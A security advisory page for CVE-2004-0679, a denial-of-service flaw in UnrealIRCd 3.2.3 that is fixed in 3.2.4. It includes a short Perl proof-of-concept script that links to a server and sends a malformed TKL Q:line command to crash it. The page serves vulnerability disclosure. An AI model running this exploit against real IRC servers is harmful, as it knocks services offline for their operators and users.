|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 560 CVE : CVE-2004-0679 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : Yes Exploit Available : Yes Credit : admin redneck servebeer com Published : 10.03.2006
Advisory Content : -Description- UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for adding/removing Q:lines with special characters. Could be sent through services. Fixed as of version 3.2.4 -PoC- #!/usr/bin/perl # Denial of Service exploit for UnrealIRCd 3.2.3 # Successfully tested on both Win32 and Linux versions. # admin (at) redneck.servebeer (dot) com [email concealed] (Brandon Milner) use IO::Socket; print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneckn"); ################# # Variables # ################# $spass = ("LinkPass"); # Link Password $lserver = ("your.server.name"); # Local Server name $rserver = ("remote.server.name"); # Link Server $rport = (6667); # Link Port $snum = (6); # Server numeric ################# # Create socket # ################# my $sock = new IO::Socket::INET ( PeerAddr => $rserver, PeerPort => $rport, Proto => 'tcp', ); ################# # Connect # ################# die "Couldn't create socket to $rserver / $rport!n" unless $sock; sleep 5; print ("connected to server"); print $sock ("PASS $spassn"); print ("PASS $spassn"); print $sock ("SERVER $lserver 1 $snum :PoC by Redneckn"); print ("SERVER $lserver 1 $snum :PoC by Redneckn"); sleep 5; print $sock ("TKL - qx08Q *x08PoCn"); print ("TKL - qx08Q *x08PoCn"); sleep 5;  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |